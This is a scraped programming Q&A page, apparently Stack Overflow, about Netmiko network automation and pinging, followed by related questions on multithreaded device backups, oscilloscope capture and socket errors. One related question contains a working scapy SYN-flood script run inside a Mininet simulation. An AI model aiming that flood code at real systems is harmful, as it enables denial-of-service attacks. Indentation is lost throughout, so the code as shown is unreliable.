Python | Netmiko | Auto ping - python

im beginner and i have tried for a lot
code :
conn = netmiko.ConnectHandler(ip='10.254.60.10', device_type='cisco_ios',
username='user', password='P#ssw0rd')
print (conn.send_command('show interface Ethernet0/0 | i line|Des|Int'))
output like this
Ethernet0/0 is up, line protocol is up
Description: CUSTOMER A
Internet address is 10.254.60.69/30
how to auto ping to IP PtP using conn.send_command() based on result of show interface command?
example ping to 10.254.60.70

You get text
text = '''Ethernet0/0 is up, line protocol is up Description: CUSTOMER A
Internet address is 10.254.60.70/30'''
and you can get IP/MASK using string functions
address = text.split(' ')[-1]
print(address) # 10.254.60.70/30
and then you can use standard module ipaddress
import ipaddress
net = ipaddress.ip_interface(address)
ip = str(net.network.broadcast_address)
print( ip ) # 10.254.60.71
or not standard module netaddr
import netaddr
net = netaddr.IPNetwork(address)
ip = str(net.broadcast)
print( ip ) # 10.254.60.71
EDIT: Minimal working code
text = '''Ethernet0/0 is up, line protocol is up Description: CUSTOMER A
Internet address is 10.254.60.69/30'''
address = text.split(' ')[-1]
print(address) # 10.254.60.69/30
print('\n--- ipaddress ---\n')
import ipaddress
net = ipaddress.ip_interface(address)
print('ip :', net.ip ) # 10.254.60.69
print('ip+1:', net.ip+1 ) # 10.254.60.70
print('ip-1:', net.ip-1 ) # 10.254.60.68
#bip = net.network.broadcast_address
bip = str(net.network.broadcast_address)
print('bip :', bip ) # 10.254.60.71
print('\n--- netaddr ---\n')
import netaddr
net = netaddr.IPNetwork(address)
print('ip :', net.ip ) # 10.254.60.69
print('ip+1:', net.ip+1 ) # 10.254.60.70
print('ip-1:', net.ip-1 ) # 10.254.60.68
bip = net.broadcast
#bip = str(net.broadcast)
print('bip :', bip ) # 10.254.60.71
Result:
10.254.60.69/30
--- ipaddress ---
ip : 10.254.60.69
ip+1: 10.254.60.70
ip-1: 10.254.60.68
bip : 10.254.60.71
--- netaddr ---
ip : 10.254.60.69
ip+1: 10.254.60.70
ip-1: 10.254.60.68
bip : 10.254.60.71

This could be your sample and so easy minimal code with Netmiko :
from netmiko import ConnectHandler
cisco_Router = {
"device_type": "cisco_ios",
"host": "your_router_ip",
"username": "your_username",
"password": "your_password"}
with ConnectHandler(**cisco_Router) as net_connect:
result = net_connect.send_command("ping 4.2.2.4")
net_connect.disconnect()
print(result)

I haven't write it for netmiko yet, but I often use this code for paramiko.
import threading
from ping3 import ping
from queue import Queue
from ipaddress import ip_network, ip_address
import paramiko
import time
from termcolor import colored
import sys
import os
import subprocess
file1 = open('PING_OK.txt', 'w')
file2 = open('PING_NOK.txt', 'w')
hosts=[]
f1 = open('hostfile.txt', 'r')
devices= f1.readlines()
#print(devices)
for i in devices:
i = i.split()
hosts.append(i[0])
hosts_live = []
q = Queue()
for host in hosts:
q.put(host)
enter = "\r\n"
def ping2(ip_address):
from pythonping import ping
output = ping(ip_address, verbose=True)
output_list =output.rtt_avg_ms
print(output_list)
if output_list == 2000:
print("erişim yok"+ip_address)
file2.write(ip_address+"\n")
else:
print ("erişim var"+ip_address)
file1.write(ip_address + "\n")
def worker():
while True:
host = q.get()
ping2(host)
time.sleep(2)
q.task_done()
for i in range(1):#aynı anda bağlantı 15 ten fazla girilmemeli #
t = threading.Thread(target=worker)
t.deamon = True
t.start()
q.join()
file1.close()
file2.close()

Related

Capture screen shot of Agilent scope using python

I'm trying to to capture a screenshot of an Agilent scope in python but using read_raw give me an issue “print cancel” can you please help
`import pyvisa as visa
import sys
#
# Example VISA address for a USB connection:
VISA_ADDRESS = 'USB0::0x2A8D::0x1797::CN57046145::0::INSTR'
# Define VISA Resource Manager
scope = visa.ResourceManager('C:\\Windows\\System32\\visa32.dll')
scope.read_termination = '\n'
scope.write_termination = '\n' #or = '\r'
print (scope.query('*IDN?\n'))
scope.write('SAVE:IMAG:FILEF PNG')
scope.write(':HARDcopy: STARt')
raw_data = scope.read_raw ()
f= open ('Shot.png' 'wb')
f.write (raw_data)
f.close `
import sys
import time
import pyvisa as visa # PyVISA library
class SCOPE_MSO_S_104A:
def __init__(self, address):
self.rm = visa.ResourceManager(r'C:\WINDOWS\system32\visa64.dll')
self.scope = self.rm.open_resource(address)
self.scope.timeout = 10000 # 10s
self.scope.write_termination = '\n'
self.scope.read_termination = '\n'
print('MSO S 104A ID string:\n ', self.scope.query('*IDN?'), flush=True)
self.scope.query('*RST;*OPC?')
def getPng(self, file):
time.sleep(1)
data = self.scope.query_binary_values(':DISPlay:DATA? PNG,SCReen,1,NORMal', datatype='B', header_fmt='ieee', container=bytes)
file_id = open(file, 'wb')
file_id.write(data)
file_id.close()
def closeScope(self):
self.scope.close()
scope = SCOPE_MSO_S_104A('USB0::0x2A8D::0x9050::MY55160105::0::INSTR')
scope.getPng('newPng.png')
from IPython.display import Image
Image('newPng.png')

multithread pinging of IP address in Python

I have a list of IP addresses like 1000 no's. I am reading the ip_file.txt and storing the result file as result_date.txt. Below is the code that I achieved the result. But my issue is it's taking too long to execute the entire files. Can anyone suggest multithreading, please so that the desired result can be achieved quickly? Thanks in advance.
#!/usr/bin/env python
import os
import csv
import paramiko
from datetime import datetime
import time
import sys
import re
from collections import defaultdict
# Verifies your os type
from paramiko import file
OS_TYPE = os.name
# Sets the count modifier to the os type
count = '-n' if OS_TYPE == 'nt' else '-c'
def create_ip_list():
ip_list = []
with open("ip_file.txt", "r") as file:
for line in file:
ip_list.append(line.strip())
return ip_list
# fetching data
now = datetime.now()
dat = now.strftime("%d/%m/%Y")
# time = now.strftime("%H:%M:%S")
date_string = dat.replace('/', '-')
timestr = time.strftime("%d%m%Y-%H%M%S")
def ping_device(ip_list):
"""Ping ip_list and return results
return: None
rtype: None
"""
results_file = open("results_" + str(timestr) + ".txt", "w")
for ip in ip_list:
response = os.popen(f"ping {ip} {count} 1").read()
time.sleep(1.5)
#fetch Average time
print(response)
for i in response.split("\n"):
para = i.split("=")
try:
if para[0].strip() == "Minimum":
latency = para[3].strip()
print(latency)
# output1=latency[0:8].split(" ")
# test=output1[0]
# print(test)
except:
print("time run")
if "Received = 1" and "Approximate" in response:
#print(f"UP {ip} Ping Successful")
results_file.write(f"{ip},UP,{latency}" + "\n")
else:
print(f"Down {ip} Ping Unsuccessful")
results_file.write(f"{ip} Down" + "\n")
results_file.close()
if __name__ == "__main__":
ping_device(create_ip_list())
Write a function ping_one_device that takes a single ip and returns a single string giving the status. It should be easy to pull this out of ping_device.
Then
with open(results_file, "w") as results_file:
with ThreadPoolExecutor() as executor:
for result in map(ping_one_device, ip_list):
results_file.write(result)

How can I make my current code use Multithreading/concurrent.futures?

I am new to netmiko/Python scripting , Using online examples was able to make a script to take configuration backup. The backup is copied to the text file and output is saved.
Currently this backup is done sequentially and it does not connect to all device at once and take the backup. I want to connect to all the devices concurrently.
I understand multithreading or concurrent.futures can solve this issueenter code here but I was not able to do it so far.
Can anyone please suggest, how my existing code can be modified to achieve it. Below is the code.
from netmiko import ConnectHandler
from netmiko.ssh_exception import NetMikoTimeoutException
from paramiko.ssh_exception import SSHException
from netmiko.ssh_exception import AuthenticationException
import getpass
import sys
import time
import os
from datetime import datetime
##getting system date
day=time.strftime('%d')
month=time.strftime('%m')
year=time.strftime('%Y')
today=day+"-"+month+"-"+year
enter code here
##initialising device
device = {
'device_type': 'cisco_ios',
'ip': '192.168.100.21',
'username': 'Cisco',
'password': 'Cisco',
'secret':'Cisco',
'session_log': 'log.txt'
}
##opening IP file
ipfile=open("iplist.txt")
print ("Script to take backup of devices, Please enter your credential")
device['username']=input("username ")
device['password']=getpass.getpass()
print("Enter enable password: ")
device['secret']=getpass.getpass()enter code here
##taking backup
for line in ipfile:
try:
device['ip']=line.strip("\n")
print("\n\nConnecting Device ",line)
net_connect = ConnectHandler(**device)
net_connect.enable()
time.sleep(1)
with open('config.txt') as f:
cmd = f.read().splitlines()
print ("Reading the running config ")
output = net_connect.send_config_set(cmd)
output4 = "Failed"
time.sleep(7)
filename=device['ip']+'-'+today+".txt"
folder = os.path.join(today)
file = os.path.join(folder,filename)
os.makedirs(folder,exist_ok=True)
saveconfig=open(file,'w+')
print("Writing Configuration to file")
saveconfig.write(output)
saveconfig.close()
time.sleep(10)
net_connect.disconnect()
print ("Configuration saved to file",filename)
except:
print ("Access to "+device['ip']+" failed,backup did not taken")
output4 = "Failed"
file= device['ip']+'-'+today+"Error"+".txt"
config=open(file,'w+')
config.write(output4)
config.close()
ipfile.close()
print ("\nAll device backup completed")enter code here
You can refer below script and modify it according to your requirement. Here I have used python multiprocessing for connecting devices in pools.
#This script will allow for user pick hosts and enter show commands interactively
#
#Enable Multiprocessing
from multiprocessing import Pool
#
#getpass will not display password
from getpass import getpass
#ConnectionHandler is the function used by netmiko to connect to devices
from netmiko import ConnectHandler
#Time tracker
from time import time
#create variables for username and password
#create variables for configs and hosts
uname = input("Username: ")
passwd = getpass("Password: ")
cmd = input("Enter show commands seperated by ',': ")
host = input("Enter the host IPs seperate with space: ")
#This will put hosts and commands entered into list format
hosts = host.split()
cmds = cmd.split(",")
starting_time = time()
#Each member of the pool of 5 will be run through this function
def run_script(host_ip):
ios_rtr = {
"device_type": "cisco_ios",
"ip": host_ip,
"username": uname,
"password": passwd,
}
#connect to the device via ssh
net_connect = ConnectHandler(**ios_rtr)
#print the device IP or Hostname
print("Connected to host:", host_ip)
#this for loop is used to iterate through the show commands
for show_commands in cmds:
output = net_connect.send_command(show_commands)
print("Connected to host:", host_ip)
print(output)
print('\n---- Elapsed time=', time()-starting_time)
if __name__ == "__main__":
# Pool(5) means 5 process will be run at a time, more hosts will go in the next group
with Pool(5) as p:
print(p.map(run_script, hosts))
#This is the key to sending show commands vs config commands
#show commands --> net_connect.send_command()
#config commmands --> net_connect.send_config_set()
With this code, you can run commands on many devices at the same time. You can also use it by hiding your identity information with user_pass. There is also a device prompt discovery feature.
with open("user_pass.txt", "r") as f5:
user_pass = f5.readlines()
for list_user_pass in user_pass:
if "username" in list_user_pass:
username = list_user_pass.split(":")[1].strip()
if "password" in list_user_pass:
password = list_user_pass.split(":")[1].strip()
def _ssh_(nodeip):
try:
access_mpls = {
'device_type': 'huawei_olt', 'ip': nodeip, 'username':
username, 'password': password, }
net_connect = Netmiko(**access_mpls)
print(nodeip.strip() + " " + "success enter")
except Exception as e:
print(e)
f_3.write(nodeip.strip() + "\n")
return
prompt_gpon_fnk = net_connect.find_prompt()
hostname_fnk = prompt_gpon_fnk.strip("<" + ">")
print(hostname_fnk)
net_connect.send_command_timing("enable")
net_connect.send_command_timing("undo smart")
output = net_connect.send_command_timing("config")
print("config moda girildi")
net_connect.send_command_timing("acl 2010 ")
net_connect.send_command_timing("quit")
net_connect.send_command_timing("save")
print("config done")
with open("MDU_OK_2.txt", "a") as f:
f.write(nodeip + "\n")
f.close()
net_connect.disconnect()
f_2 = open("ip_list_2.txt", "r") ip_list = f_2.readlines()
f_2.close() f_3 = open("ssh_unsuccess_2.txt", "w")
myPool = ThreadPool(100) result = myPool.map(ssh, ip_list)

Run a python script in Command Line and send argument to it

I used following python script to create a custom topology in mininet using sudo Python My_topology.py :
from mininet.topo import Topo
from mininet.node import Node
from mininet.net import Mininet
from mininet.cli import CLI
from mininet.node import RemoteController
import os
import sys
logging.getLogger().setLevel(logging.INFO)
class MyTopo (Topo):
def __init__(self, ipBase='10.0.0.0/8'):
Topo.__init__(self)
global host_list
# Add hosts and switches
s1 = self.addSwitch('s1')
for i in range(1, 21):
self.addHost('h%s'%i)
host_list.append('h%s'%i)
self.addLink('h%s'%i, s1)
def attack():
h1 = net.get('h1')
h1.cmd('sudo python .../My_SYNflood_attack.py')
topo = MyTopo()
net = Mininet(topo, controller=lambda name: RemoteController(name,
ip= '127.0.0.1', protocol= 'tcp', port= 6633), autoSetMacs= True)
net.start()
attack()
CLI(net)
net.stop()
As you see in attack function I used another .py script to send TCP packets from host h1 t another host. My_SYNflood_attack.py is as follow:
from scapy.all import *
import os
import sys
import random
import argparse
srcIP = '10.0.0.1'
dstIP = '10.0.0.10'
srcPort = 5555
dstPort = 4444
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(srcIP,dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = srcIP
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def main():
SYN_Flood(srcIP, dstIP,dstPort,10)# 10 is number of packets
if __name__ == "__main__":
main()
So as you see in second script I set source and destination IP address statically, now I want to send source an destination IP address from first script and call My_SYNflood_attack.py in attack function like this: h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2 10.0.0.3')
How can I do it??
are you looking for something like this?
def attack():
h1 = net.get('h1')
h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2, 10.0.0.3')
and:
scrIP = sys.argv[1]
dstIP = sys.argv[2]
You can use to call another python script with arguments:
subprocess.call(['python', '.../My_SYNflood_attack.py.py', somescript_arg1, somescript_val1,...])

errors in socket communication using python

I'm trying to use a socket with client server communication using python and I want through my client send a latitude, longitude, an hour and a date to get a pressure and a temperature that is in my grib file but my client script gives me this error
Client "JSON_OBJECT = response.loads (response.read ())
AttributeError: 'str' object has no attribute 'loads'
On my server appears to me that the errors are at this location
"Conn.send (get_pressure_and_temperature (request_string))"
"JSON_OBJECT = json.loads (request_string)"
This is my code of the client
import socket
import os
import sys
import json
timestamp = 20160210
hour = 6
latitude = 20
longitude = 20
HOST = '' # The remote host
PORT = 10000 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
#latitude = raw_input ("latitude: \t" )
#longitude = raw_input ("longitude: \t" )
#s.send(latitude)
#s.send(longitude)
#s.send(string)
string = {"timestamp": timestamp, "hour": hour, "lat": latitude, "long": longitude}
s.send(json.dumps(string))
response = s.recv(1024)
json_object = response.loads(response)
s.close()
print 'Received', repr(json_object)
And of the server is :
Necessary imports
import math
import numpy
import pygrib
import sys
import time
import pressure_temperature
import aux
import socket
import os
import json
args=sys.argv # List of arguments of the comand line
def get_pressure_and_temperature(request_string):
json_object = json.loads(request_string)
print json_object
timestamp = int(json_object["timestamp"])
print timestamp
hour = float(json_object["hour"])
print hour
latitude = float(json_object["lat"])
print latitude
longitude = float(json_object["long"])
print longitude
pressure_temperature_result = pressure_temperature.build_data(timestamp, hour, latitude, longitude)
print "result = ", pressure_temperature_result
return json.dumps(pressure_temperature_result)
HOST = '' # Symbolic name meaning all available interfaces
PORT = 10000 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, cliente = s.accept()
pid = os.fork()
if pid == 0:
s.close()
print 'Connected by', cliente
while True:
request_string = conn.recv(1024)
conn.send(get_pressure_and_temperature(request_string))
if not request_string: break
print "ok"
print "Finalizando conexao com cliente", cliente
#conn.close()
sys.exit(0)
else:
conn.close()

Categories

Resources